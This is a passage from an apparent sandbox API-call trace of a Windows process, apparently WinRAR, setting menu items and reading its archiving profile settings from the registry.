fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.706] SetMenuItemInfoW (hmenu=0x1026d, item=0x640, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.706] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x641, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.706] SetMenuItemInfoW (hmenu=0x1026d, item=0x641, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x642, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x642, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x643, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x643, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x644, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x644, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x645, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x645, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x646, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x646, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x647, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x647, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x648, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x648, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x649, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x649, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x64a, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x64a, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x64b, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x64b, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.707] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x64c, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.707] SetMenuItemInfoW (hmenu=0x1026d, item=0x64c, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.708] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x64d, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.708] SetMenuItemInfoW (hmenu=0x1026d, item=0x64d, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.708] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x64e, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.708] SetMenuItemInfoW (hmenu=0x1026d, item=0x64e, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.708] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x64f, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.708] SetMenuItemInfoW (hmenu=0x1026d, item=0x64f, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.708] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x650, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 1 [0060.708] SetMenuItemInfoW (hmenu=0x1026d, item=0x650, fByPositon=0, lpmii=0x141a0fca00) returned 1 [0060.708] GetMenuItemInfoW (in: hmenu=0x1026d, item=0x651, fByPosition=0, lpmii=0x141a0fca00 | out: lpmii=0x141a0fca00) returned 0 [0060.708] GetCurrentProcess () returned 0xffffffffffffffff [0060.708] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x141a0fc950, lpSystemAffinityMask=0x141a0fc958 | out: lpProcessAffinityMask=0x141a0fc950, lpSystemAffinityMask=0x141a0fc958) returned 1 [0060.708] GetCurrentProcess () returned 0xffffffffffffffff [0060.708] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x141a0fc9b0, lpSystemAffinityMask=0x141a0fc9b8 | out: lpProcessAffinityMask=0x141a0fc9b0, lpSystemAffinityMask=0x141a0fc9b8) returned 1 [0060.708] GetLastError () returned 0x5b0 [0060.708] SetLastError (dwErrCode=0x5b0) [0060.708] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fc560 | out: phkResult=0x141a0fc560*=0x2f0) returned 0x0 [0060.708] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SMP", lpReserved=0x0, lpType=0x141a0fc9c4, lpData=0x141a0fc9c0, lpcbData=0x141a0fc9f8*=0x4 | out: lpType=0x141a0fc9c4*=0x0, lpData=0x141a0fc9c0*=0x1, lpcbData=0x141a0fc9f8*=0x4) returned 0x2 [0060.708] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.708] GetLastError () returned 0x5b0 [0060.708] SetLastError (dwErrCode=0x5b0) [0060.708] GetLastError () returned 0x5b0 [0060.708] SetLastError (dwErrCode=0x5b0) [0060.708] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fb980 | out: phkResult=0x141a0fb980*=0x2f0) returned 0x0 [0060.709] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.709] GetLastError () returned 0x5b0 [0060.709] SetLastError (dwErrCode=0x5b0) [0060.709] GetLastError () returned 0x5b0 [0060.709] SetLastError (dwErrCode=0x5b0) [0060.709] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fb980 | out: phkResult=0x141a0fb980*=0x2f0) returned 0x0 [0060.709] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.709] GetLastError () returned 0x5b0 [0060.709] SetLastError (dwErrCode=0x5b0) [0060.709] GetLastError () returned 0x5b0 [0060.709] SetLastError (dwErrCode=0x5b0) [0060.709] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fb980 | out: phkResult=0x141a0fb980*=0x2f0) returned 0x0 [0060.709] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.709] GetLastError () returned 0x5b0 [0060.709] SetLastError (dwErrCode=0x5b0) [0060.709] GetLastError () returned 0x5b0 [0060.709] SetLastError (dwErrCode=0x5b0) [0060.709] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fb980 | out: phkResult=0x141a0fb980*=0x2f0) returned 0x0 [0060.709] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.709] GetLastError () returned 0x5b0 [0060.709] SetLastError (dwErrCode=0x5b0) [0060.709] GetLastError () returned 0x5b0 [0060.709] SetLastError (dwErrCode=0x5b0) [0060.709] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fb980 | out: phkResult=0x141a0fb980*=0x2f0) returned 0x0 [0060.709] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.709] GetLastError () returned 0x5b0 [0060.709] SetLastError (dwErrCode=0x5b0) [0060.709] GetLastError () returned 0x5b0 [0060.709] SetLastError (dwErrCode=0x5b0) [0060.709] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\5", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0fb980 | out: phkResult=0x141a0fb980*=0x0) returned 0x2 [0060.709] GetLastError () returned 0x5b0 [0060.710] SetLastError (dwErrCode=0x5b0) [0060.710] GetLastError () returned 0x5b0 [0060.710] SetLastError (dwErrCode=0x5b0) [0060.710] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fc590 | out: phkResult=0x141a0fc590*=0x2f0) returned 0x0 [0060.710] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Default", lpReserved=0x0, lpType=0x141a0fc9f4, lpData=0x141a0fc9f0, lpcbData=0x141a0fca28*=0x4 | out: lpType=0x141a0fc9f4*=0x4, lpData=0x141a0fc9f0*=0x1, lpcbData=0x141a0fca28*=0x4) returned 0x0 [0060.710] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.710] GetLastError () returned 0x5b0 [0060.710] SetLastError (dwErrCode=0x5b0) [0060.710] GetLastError () returned 0x5b0 [0060.710] SetLastError (dwErrCode=0x5b0) [0060.710] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.710] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcName", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x141a0fb9c0, lpcbData=0x141a0f9c60*=0x1000 | out: lpType=0x141a0f9c64*=0x0, lpData=0x141a0fb9c0*=0x0, lpcbData=0x141a0f9c60*=0x1000) returned 0x2 [0060.710] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.710] GetLastError () returned 0x5b0 [0060.710] SetLastError (dwErrCode=0x5b0) [0060.710] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9870 | out: phkResult=0x141a0f9870*=0x2f0) returned 0x0 [0060.710] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x141a0f9cd0*=0x1a0f9dc0 | out: lpType=0x0, lpData=0x0, lpcbData=0x141a0f9cd0*=0x0) returned 0x2 [0060.710] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.710] GetLastError () returned 0x5b0 [0060.710] SetLastError (dwErrCode=0x5b0) [0060.710] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9870 | out: phkResult=0x141a0f9870*=0x2f0) returned 0x0 [0060.710] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ExclNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x141a0f9cd0*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x141a0f9cd0*=0x2) returned 0x0 [0060.710] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.710] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x16) returned 0x1162e87dcc0 [0060.710] GetLastError () returned 0x5b0 [0060.710] SetLastError (dwErrCode=0x5b0) [0060.710] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.710] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ExclNames", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x1162e87dcc0, lpcbData=0x141a0f9c60*=0x16 | out: lpType=0x141a0f9c64*=0x1, lpData="", lpcbData=0x141a0f9c60*=0x2) returned 0x0 [0060.710] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.711] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87dcc0 | out: hHeap=0x1162e7c0000) returned 1 [0060.711] GetLastError () returned 0x5b0 [0060.711] SetLastError (dwErrCode=0x5b0) [0060.711] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9870 | out: phkResult=0x141a0f9870*=0x2f0) returned 0x0 [0060.711] RegQueryValueExW (in: hKey=0x2f0, lpValueName="StoreNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x141a0f9cd0*=0x2 | out: lpType=0x0, lpData=0x0, lpcbData=0x141a0f9cd0*=0x2) returned 0x0 [0060.711] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.711] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x414) returned 0x1162e87fd10 [0060.711] GetLastError () returned 0x5b0 [0060.711] SetLastError (dwErrCode=0x5b0) [0060.711] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.711] RegQueryValueExW (in: hKey=0x2f0, lpValueName="StoreNames", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x1162e87fd10, lpcbData=0x141a0f9c60*=0x414 | out: lpType=0x141a0f9c64*=0x1, lpData="", lpcbData=0x141a0f9c60*=0x2) returned 0x0 [0060.711] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.711] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87fd10 | out: hHeap=0x1162e7c0000) returned 1 [0060.711] GetLastError () returned 0x5b0 [0060.711] SetLastError (dwErrCode=0x5b0) [0060.711] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.711] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Default", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x1, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.711] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.711] GetLastError () returned 0x5b0 [0060.711] SetLastError (dwErrCode=0x5b0) [0060.711] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.711] RegQueryValueExW (in: hKey=0x2f0, lpValueName="UseRAR", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x1, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.711] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.711] GetLastError () returned 0x5b0 [0060.711] SetLastError (dwErrCode=0x5b0) [0060.711] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.711] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RAR5", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x1, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.711] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.711] GetLastError () returned 0x5b0 [0060.711] SetLastError (dwErrCode=0x5b0) [0060.712] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.712] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXModule", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x7ff6f7625658, lpcbData=0x141a0f9c60*=0x1000 | out: lpType=0x141a0f9c64*=0x1, lpData="", lpcbData=0x141a0f9c60*=0x2) returned 0x0 [0060.712] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.712] GetLastError () returned 0x5b0 [0060.712] SetLastError (dwErrCode=0x5b0) [0060.712] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.712] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFX", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x0, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x2 [0060.712] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.712] GetLastError () returned 0x5b0 [0060.712] SetLastError (dwErrCode=0x5b0) [0060.712] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.712] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXIcon", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x7ff6f762ca62, lpcbData=0x141a0f9c60*=0x1000 | out: lpType=0x141a0f9c64*=0x1, lpData="", lpcbData=0x141a0f9c60*=0x2) returned 0x0 [0060.712] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.712] GetLastError () returned 0x5b0 [0060.712] SetLastError (dwErrCode=0x5b0) [0060.712] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.712] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXLogo", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x7ff6f762da62, lpcbData=0x141a0f9c60*=0x1000 | out: lpType=0x141a0f9c64*=0x1, lpData="", lpcbData=0x141a0f9c60*=0x2) returned 0x0 [0060.712] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.712] GetLastError () returned 0x5b0 [0060.712] SetLastError (dwErrCode=0x5b0) [0060.712] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.712] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXElevate", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.712] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.712] GetLastError () returned 0x5b0 [0060.712] SetLastError (dwErrCode=0x5b0) [0060.712] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.712] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtFile", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x7ff6f762765e, lpcbData=0x141a0f9c60*=0x1000 | out: lpType=0x141a0f9c64*=0x1, lpData="", lpcbData=0x141a0f9c60*=0x2) returned 0x0 [0060.712] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.712] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20000) returned 0x1162e87fd10 [0060.976] GetLastError () returned 0x5b0 [0060.977] SetLastError (dwErrCode=0x5b0) [0060.977] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.977] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtDataWide", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x1162e87fd10, lpcbData=0x141a0f9c60*=0x20000 | out: lpType=0x141a0f9c64*=0x3, lpData=0x1162e87fd10*, lpcbData=0x141a0f9c60*=0x2) returned 0x0 [0060.977] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.977] GetLastError () returned 0x5b0 [0060.977] SetLastError (dwErrCode=0x5b0) [0060.977] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.977] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtTextWide", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x1162e87fd10, lpcbData=0x141a0f9c60*=0x20000 | out: lpType=0x141a0f9c64*=0x0, lpData=0x1162e87fd10*=0x0, lpcbData=0x141a0f9c60*=0x20000) returned 0x2 [0060.977] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.977] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x10000) returned 0x1162e89fd20 [0060.978] GetLastError () returned 0x5b0 [0060.978] SetLastError (dwErrCode=0x5b0) [0060.978] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.978] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtTextData", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x1162e89fd20, lpcbData=0x141a0f9c60*=0x10000 | out: lpType=0x141a0f9c64*=0x0, lpData=0x1162e89fd20*=0x0, lpcbData=0x141a0f9c60*=0x10000) returned 0x2 [0060.978] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1162e89fd20, cbMultiByte=-1, lpWideCharStr=0x1162e87fd10, cchWideChar=65536 | out: lpWideCharStr="") returned 1 [0060.978] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e89fd20 | out: hHeap=0x1162e7c0000) returned 1 [0060.978] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87fd10 | out: hHeap=0x1162e7c0000) returned 1 [0060.979] GetLastError () returned 0x5b0 [0060.979] SetLastError (dwErrCode=0x5b0) [0060.979] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.979] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VolumeSize", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x141a0fa6b0, lpcbData=0x141a0f9c60*=0x64 | out: lpType=0x141a0f9c64*=0x1, lpData="0", lpcbData=0x141a0f9c60*=0x4) returned 0x0 [0060.979] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.979] GetLastError () returned 0x5b0 [0060.979] SetLastError (dwErrCode=0x5b0) [0060.979] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.979] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VolSizeMod", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x2, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.979] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.979] GetLastError () returned 0x5b0 [0060.979] SetLastError (dwErrCode=0x5b0) [0060.979] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.979] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VolPause", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.979] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.979] GetLastError () returned 0x5b0 [0060.979] SetLastError (dwErrCode=0x5b0) [0060.979] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.980] RegQueryValueExW (in: hKey=0x2f0, lpValueName="OldVolNames", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.980] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.980] GetLastError () returned 0x5b0 [0060.980] SetLastError (dwErrCode=0x5b0) [0060.980] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.980] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RecVolNumber", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.980] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.980] GetLastError () returned 0x5b0 [0060.980] SetLastError (dwErrCode=0x5b0) [0060.980] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.980] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Update", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.980] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.980] GetLastError () returned 0x5b0 [0060.980] SetLastError (dwErrCode=0x5b0) [0060.980] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.980] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Fresh", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.980] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.980] GetLastError () returned 0x5b0 [0060.980] SetLastError (dwErrCode=0x5b0) [0060.980] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.980] RegQueryValueExW (in: 